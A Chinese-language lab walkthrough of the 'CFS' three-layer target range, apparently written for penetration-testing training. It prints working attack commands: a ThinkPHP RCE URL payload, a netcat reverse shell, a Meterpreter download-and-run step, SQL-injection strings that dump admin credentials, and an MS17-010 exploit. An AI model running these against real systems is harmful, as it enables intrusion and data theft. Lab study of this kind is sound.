CFS三层靶机渗透
字数 1127 2025-08-18 11:39:30

CFS三层靶机渗透教学文档

环境搭建

网络配置

  • VMnet8:设置为出网IP
    • 子网IP: 192.168.42.0
    • 子网掩码: 255.255.255.0
  • VMnet1:仅主机模式(内网)
    • 子网IP: 192.168.22.0
    • 子网掩码: 255.255.255.0
  • VMnet2:仅主机模式(内网)
    • 子网IP: 192.168.33.0
    • 子网掩码: 255.255.255.0

网络拓扑

  • 第一层:192.168.42.0/24(可出网)
  • 第二层:192.168.22.0/24(内网)
  • 第三层:192.168.33.0/24(内网)

第一层靶机渗透(192.168.42.3)

信息收集

使用Nmap扫描:

nmap -T4 -A 192.168.42.3 --script=vuln

发现开放服务:

  • 21/tcp:Pure-FTPd
  • 22/tcp:OpenSSH 7.4(存在CVE-2018-15919和CVE-2017-15906漏洞)
  • 80/tcp:nginx
  • 888/tcp:nginx
  • 3306/tcp:MySQL(未授权访问)
  • 8888/tcp:Ajenti http控制面板

漏洞利用

  1. ThinkPHP V5.0 RCE漏洞利用

    • 访问URL:
      http://192.168.42.3/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
      
    • 反弹shell:
      nc -lvp 6666
      
      在目标机器执行:
      nc 192.168.42.4 6666 -e /bin/bash
      
    • 获取交互式shell:
      python -c 'import pty;pty.spawn("/bin/bash")'
      
  2. 生成并上传Meterpreter payload

    • 生成ELF payload:
      msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.42.4 LPORT=1111 -f elf > shell.elf
      
    • 启动HTTP服务:
      python -m SimpleHTTPServer 8080
      
    • 目标机器下载执行:
      wget http://192.168.42.4:8080/shell.elf
      chmod +x shell.elf
      ./shell.elf
      
    • MSF监听:
      use exploit/multi/handler
      set payload linux/x64/meterpreter/reverse_tcp
      set LHOST 192.168.42.4
      set LPORT 1111
      exploit
      

内网探测

  1. 获取当前网段:
    run get_local_subnets
    
  2. 添加路由:
    run autoroute -s 192.168.22.0/24
    
  3. 扫描第二层内网:
    use auxiliary/scanner/portscan/tcp
    set RHOSTS 192.168.22.0/24
    run
    

第二层靶机渗透(192.168.22.2)

代理设置

  1. 设置SOCKS代理:
    use auxiliary/server/socks4a
    run
    
  2. 配置proxychains:
    vim /etc/proxychains.conf
    
    添加:
    socks4 127.0.0.1 1080
    

信息收集

  1. 端口扫描:
    proxychains nmap -Pn -sT 192.168.22.2
    
  2. 目录扫描:
    proxychains dirb http://192.168.22.2
    
  3. 检查robots.txt发现后台

SQL注入利用

  1. 检测注入点:
    proxychains sqlmap -u "http://192.168.22.2/index.php?r=vul&keyword=1" -p keyword --dbs
    
  2. 手工注入步骤:
    • 判断字段数:
      http://192.168.22.2/index.php?r=vul&keyword=1' order by 39 --+
      
    • 查库名:
      http://192.168.22.2/index.php?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,group_concat(schema_name) from information_schema.schemata --+
      
    • 查表名:
      http://192.168.22.2/index.php?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,group_concat(table_name) from information_schema.tables where table_schema='bagecms' --+
      
    • 查字段:
      http://192.168.22.2/index.php?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38 group_concat(column_name) from information_schema.columns where table_name='bage_admin' --+
      
    • 查数据:
      http://192.168.22.2/index.php?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,group_concat(id,username,password) from bage_admin --+
      
    • 获取到管理员凭据:admin/46f94c8de14fb36680850768ff1b7f2a(MD5解密后)

获取Webshell

  1. 使用蚁剑连接:
    proxychains ./AntSword
    
  2. 通过模板管理上传webshell

获取Meterpreter会话

  1. 生成bind_tcp payload:
    msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=1234 -f elf > shell1234.elf
    
  2. 上传并执行:
    chmod +x shell1234.elf
    ./shell1234.elf
    
  3. MSF连接:
    proxychains msfconsole
    use exploit/multi/handler
    set payload linux/x64/meterpreter/bind_tcp
    set RHOST 192.168.22.2
    set LPORT 1234
    exploit
    

内网探测

  1. 添加路由:
    run autoroute -s 192.168.33.0/24
    
  2. 扫描第三层内网:
    use auxiliary/scanner/smb/smb_version
    set RHOSTS 192.168.33.0/24
    run
    

第三层靶机渗透(192.168.33.x)

MS17-010漏洞利用

  1. 检测漏洞:
    use auxiliary/scanner/smb/smb_ms17_010
    set RHOSTS 192.168.33.0/24
    run
    
  2. 利用漏洞:
    use exploit/windows/smb/ms17_010_psexec
    set RHOST 192.168.33.x
    set payload windows/x64/meterpreter/bind_tcp
    exploit
    

总结

本渗透测试完整演示了从外网到内网的三层渗透过程,涉及以下关键技术点:

  1. ThinkPHP RCE漏洞利用
  2. Meterpreter会话建立与维持
  3. 内网路由添加与代理设置
  4. 多层内网穿透技术
  5. SQL注入手工与自动化利用
  6. MS17-010漏洞利用

通过这种分层渗透的方法,可以有效地测试和评估多层网络架构的安全性。

CFS三层靶机渗透教学文档 环境搭建 网络配置 VMnet8 :设置为出网IP 子网IP: 192.168.42.0 子网掩码: 255.255.255.0 VMnet1 :仅主机模式(内网) 子网IP: 192.168.22.0 子网掩码: 255.255.255.0 VMnet2 :仅主机模式(内网) 子网IP: 192.168.33.0 子网掩码: 255.255.255.0 网络拓扑 第一层:192.168.42.0/24(可出网) 第二层:192.168.22.0/24(内网) 第三层:192.168.33.0/24(内网) 第一层靶机渗透(192.168.42.3) 信息收集 使用Nmap扫描: 发现开放服务: 21/tcp:Pure-FTPd 22/tcp:OpenSSH 7.4(存在CVE-2018-15919和CVE-2017-15906漏洞) 80/tcp:nginx 888/tcp:nginx 3306/tcp:MySQL(未授权访问) 8888/tcp:Ajenti http控制面板 漏洞利用 ThinkPHP V5.0 RCE漏洞利用 访问URL: 反弹shell: 在目标机器执行: 获取交互式shell: 生成并上传Meterpreter payload 生成ELF payload: 启动HTTP服务: 目标机器下载执行: MSF监听: 内网探测 获取当前网段: 添加路由: 扫描第二层内网: 第二层靶机渗透(192.168.22.2) 代理设置 设置SOCKS代理: 配置proxychains: 添加: 信息收集 端口扫描: 目录扫描: 检查robots.txt发现后台 SQL注入利用 检测注入点: 手工注入步骤: 判断字段数: 查库名: 查表名: 查字段: 查数据: 获取到管理员凭据:admin/46f94c8de14fb36680850768ff1b7f2a(MD5解密后) 获取Webshell 使用蚁剑连接: 通过模板管理上传webshell 获取Meterpreter会话 生成bind_ tcp payload: 上传并执行: MSF连接: 内网探测 添加路由: 扫描第三层内网: 第三层靶机渗透(192.168.33.x) MS17-010漏洞利用 检测漏洞: 利用漏洞: 总结 本渗透测试完整演示了从外网到内网的三层渗透过程,涉及以下关键技术点: ThinkPHP RCE漏洞利用 Meterpreter会话建立与维持 内网路由添加与代理设置 多层内网穿透技术 SQL注入手工与自动化利用 MS17-010漏洞利用 通过这种分层渗透的方法,可以有效地测试和评估多层网络架构的安全性。